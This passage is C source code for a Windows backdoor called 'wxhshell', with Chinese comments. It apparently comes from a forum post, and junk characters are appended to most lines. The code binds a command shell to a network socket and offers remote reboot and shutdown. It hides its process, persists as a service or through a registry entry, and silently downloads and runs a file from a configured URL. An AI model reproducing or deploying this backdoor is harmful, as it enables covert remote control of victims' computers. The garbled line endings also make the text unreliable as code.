  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 =G=4{q  
  } .Ep&O#  
  else { E},zB*5TH  
]9W7]$  
    switch(cmd[0]) { 5e?<x>e  
  tCw B 7 c-  
  // 帮助 R. vVl+  
  case '?': { /wP2Wnq$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =u.23#.  
    break; Nz; \PS  
  } z"Cyjmg"  
  // 安装 $(*>]PC+)  
  case 'i': { qN Ut&#  
    if(Install()) @a 7U0$,O#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y|tK19  
    else 5;HCNwX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {&6i$4T  
    break; pEW~zl  
    } NQvI=R-g  
  // 卸载 4_$.gO  
  case 'r': { LPca+o|f  
    if(Uninstall()) 9}4~3_gv;M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jmP;(j.|  
    else ',rK\&lL6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S a}P |qI  
    break; cz|?j  
    } @*|T(068&  
  // 显示 wxhshell 所在路径 UG}2q:ST  
  case 'p': { P^ <to(|  
    char svExeFile[MAX_PATH]; D`Ka IqLz  
    strcpy(svExeFile,"\n\r"); !E)|[:$XT  
      strcat(svExeFile,ExeFile); f=S2O_Ee  
        send(wsh,svExeFile,strlen(svExeFile),0); Imq-5To#  
    break; T{yJL<  
    } VC% .u.< F  
  // 重启 ,]Xn9 W  
  case 'b': { o-;/ x)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +F2X2e)g"  
    if(Boot(REBOOT)) |y+_BZ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4x#tUzb;  
    else { lXzm)  
    closesocket(wsh); !aL=R)G&e  
    ExitThread(0); ~CdW: t  
    } 4:/^.:  
    break; - leYR`P  
    } AD@ {7  
  // 关机 Z a S29}  
  case 'd': { (Fq:G) $  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9b@yDq3hQ  
    if(Boot(SHUTDOWN)) tE-g]y3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S_ ;r!.  
    else { :3b02}b7  
    closesocket(wsh); @YG-LEh  
    ExitThread(0); h ^s8LE3  
    } JO90TP $  
    break; I`i"*z  
    } t*u#4I1  
  // 获取shell :M<] 6o  
  case 's': { [9#zE URS  
    CmdShell(wsh); )OVa7[-T  
    closesocket(wsh); (XY`1|])`  
    ExitThread(0); gFT lP  
    break; }d;6.~Gw  
  } Xkg  
  // 退出 ["4Tn0g ;  
  case 'x': { l"jYY3N|h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O}p<"3Ub  
    CloseIt(wsh); (Nv -wU  
    break; )?c,&  
    } ;K%/s IIke  
  // 离开 Q;A\M  
  case 'q': { {t!7r_hj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g x?r8  
    closesocket(wsh); NK(_ &.F  
    WSACleanup(); M CP GDr  
    exit(1); y\Utm$)j  
    break; ()F {kM8  
        } 1xkrh qq  
  } ZmNNR 1%/  
  }  p(8@  
B;W%P.<.  
  // 提示信息 jIVDi~Ld  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2A:h&t/|C  
} \xv(&94U  
  } ?(z"U b]  
VxARJ*4=Y  
  return; k}NM]9EAE  
} * 1xs/$`  
#.$y   
// shell模块句柄 R^ P>yk8  
int CmdShell(SOCKET sock) "Aw)0a[j1  
{ 4RYH^9;>K  
STARTUPINFO si; @qj]`}Gx'  
ZeroMemory(&si,sizeof(si)); |r36iUHZS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Id>4fF:o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >xq. bG  
PROCESS_INFORMATION ProcessInfo; m8e()8lZ3  
char cmdline[]="cmd"; Kfr1k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kxJ[Bi#  
  return 0; j0V/\Ep)T<  
} ;ko6igx)+  
)5gj0#|CG@  
// 自身启动模式 7')W+`o8eL  
int StartFromService(void) VuH ->  
{ <JU3sXl  
typedef struct "k{so',7z  
{ =WBfaxL}  
  DWORD ExitStatus; Q~VM.G  
  DWORD PebBaseAddress; /kg#i&bP~  
  DWORD AffinityMask; u *rP 8GuS  
  DWORD BasePriority; '[%#70*  
  ULONG UniqueProcessId; Ke?,AWfG  
  ULONG InheritedFromUniqueProcessId; w^$C\bCbh  
}   PROCESS_BASIC_INFORMATION; j%^4 1y  
Y?3tf0t/  
PROCNTQSIP NtQueryInformationProcess; hpPacN  
y$SUYG'v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |5O>7~Tp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $~W5! m  
&} `a"tYr  
  HANDLE             hProcess; =!xX{o?64  
  PROCESS_BASIC_INFORMATION pbi; q CYu@Ho  
wWiYxBeN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DL1nD5  
  if(NULL == hInst ) return 0; !4'Fz[RK  
v^8sL` F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UeLO`Ug0;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QuPz'Ut#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /lu|FWbEw  
%Uz\P|6PO  
  if (!NtQueryInformationProcess) return 0; kP ,8[r  
[H>u'fy:C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3 ?I!  
  if(!hProcess) return 0; !*NDsC9  
!]82$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |D"L!+J-$  
ipbhjK$  
  CloseHandle(hProcess); z[v4(pO 6  
^MF 2Q+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KvPCb%!ZP  
if(hProcess==NULL) return 0; orH6R8P]  
>(S)aug$1  
HMODULE hMod; D5snaGss9a  
char procName[255]; ZL\^J8PRK  
unsigned long cbNeeded; ,6X;YY  
h-?yed*?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ohp@ZJ!a?  
,}gJY^X+  
  CloseHandle(hProcess); 6&ut r!\7  
e'G=.:  
if(strstr(procName,"services")) return 1; // 以服务启动 1p$(\  
"8ellKh  
  return 0; // 注册表启动 Kq-1  b  
} o /[7Vo  
iBSg`"S^]C  
// 主模块 ] h(Iun  
int StartWxhshell(LPSTR lpCmdLine) Td'(RV  
{ /}8Au$nA  
  SOCKET wsl; ,.cR@5qI  
BOOL val=TRUE; _G/ R;N71  
  int port=0; jgIG";:Q  
  struct sockaddr_in door; 1J"I.  
!ZH "$m|  
  if(wscfg.ws_autoins) Install(); $sda'L5^p  
#NYnZ^6e  
port=atoi(lpCmdLine); Cd 2<r6i  
;Jg$C~3tf  
if(port<=0) port=wscfg.ws_port; v#%rjml[  
otR7E+*3  
  WSADATA data; |<,qnf | -  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0't)-Pj+,  
=CK%Zo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Jc ze.t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M?" 4 {  
  door.sin_family = AF_INET; ofQs /  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O0L]xr  
  door.sin_port = htons(port); s)r !3HS  
"I/05k K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bHnKtaK4c  
closesocket(wsl); if|5v^/  
return 1; 9=MNuV9/s  
} }_zN%Tf~  
)- &@ 8`  
  if(listen(wsl,2) == INVALID_SOCKET) { t,|Apl]  
closesocket(wsl); O@a OKk  
return 1; ~Dq-q6-@t  
} q| 1%G Nb  
  Wxhshell(wsl); Q!@M/@-Ky  
  WSACleanup(); E2>{ seZ  
K9%rr_ja!  
return 0; )2?]c  
zMbFh_dcq  
} 18rV Acj  
E0+L?(;  
// 以NT服务方式启动 sT2`y$ '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =f!A o:Uc  
{ Et N,  
DWORD   status = 0; %QEBY>|lI  
  DWORD   specificError = 0xfffffff; >ceC8"}J5M  
N'ER!=l)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l+"p$iZs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5 _E8 RAG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E b[;nk?  
  serviceStatus.dwWin32ExitCode     = 0; Eb4NPWo  
  serviceStatus.dwServiceSpecificExitCode = 0; +\Jo^\  
  serviceStatus.dwCheckPoint       = 0; @e3+Gs  
  serviceStatus.dwWaitHint       = 0; {L7Pha  
> UZ-['H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k}fC58q  
  if (hServiceStatusHandle==0) return; Dnw^H.  
{. 9BG&  
status = GetLastError(); auK9wQ%\  
  if (status!=NO_ERROR) \{ EVRRXn  
{ gPk,nB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :k1?I'q%  
    serviceStatus.dwCheckPoint       = 0; -#f.}H'  
    serviceStatus.dwWaitHint       = 0; TF :'6#p  
    serviceStatus.dwWin32ExitCode     = status; T"vf   
    serviceStatus.dwServiceSpecificExitCode = specificError; 7wx=#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G|Et'k.F4  
    return; I#(lxlp"Ho  
  } Hvk~BP' m  
IsI5c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yHw @Z  
  serviceStatus.dwCheckPoint       = 0; DfAF-Yhut  
  serviceStatus.dwWaitHint       = 0; i6_}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ct)58f2  
} "D.<~!  
pV ^+X}  
// 处理NT服务事件,比如:启动、停止 ZMgsuzg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5`p9Xo>)yW  
{ yR>P  
switch(fdwControl) j_so s%-  
{ g]vB\5uA:  
case SERVICE_CONTROL_STOP: K{DC{yLu  
  serviceStatus.dwWin32ExitCode = 0; ik(YJw'i7E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r 1r@TG\  
  serviceStatus.dwCheckPoint   = 0; h^=;\ng1l  
  serviceStatus.dwWaitHint     = 0; hE(R[hc  
  { g}<jn'@{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C`;igg$t_  
  } 0 (-4"u>?  
  return; B N79\rt  
case SERVICE_CONTROL_PAUSE: t~o"x.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .ifz9 jM'  
  break; &B(z**+9  
case SERVICE_CONTROL_CONTINUE: " 7^nRJy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d|RUxNjM-J  
  break; *xNc^ &.  
case SERVICE_CONTROL_INTERROGATE: wx3_?8z/O  
  break; 1}\p:`  
}; 3Sfd|0^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^%=\c  
} LhLAQ2~  
% vUU Fub  
// 标准应用程序主函数 I9qZE=i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _rYW|*cIF  
{ s;TB(M~i[  
(%L /|F_  
// 获取操作系统版本 8C3oi&av/{  
OsIsNt=GetOsVer(); !} h) |  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >S:(BJMo  
\bdKLcKI,  
  // 从命令行安装 ~7ZZb*].(  
  if(strpbrk(lpCmdLine,"iI")) Install(); zG_nx3  
cQt&%SVT]E  
  // 下载执行文件 c_vGr55  
if(wscfg.ws_downexe) { ,A`|jF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EF :g0$  
  WinExec(wscfg.ws_filenam,SW_HIDE); !j'LZ7  
} kMVr[q,MEq  
O`y3H lc  
if(!OsIsNt) { GLO3v. n;  
// 如果时win9x,隐藏进程并且设置为注册表启动 -b^dK)wR~  
HideProc(); es6YxMg  
StartWxhshell(lpCmdLine); e}?Q&Lci  
} bfA>kn0C  
else Qg/FFn^Kg*  
  if(StartFromService()) j<kW+Iio  
  // 以服务方式启动 Am*IC?@tq  
  StartServiceCtrlDispatcher(DispatchTable); B%\&Q @X  
else _\\Al v.  
  // 普通方式启动 I;'{X_9$a  
  StartWxhshell(lpCmdLine); Nt $4;  
]Y I9  
return 0; u1X^#K$nu'  
}
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只看该作者 1 发表于: 2006-10-10
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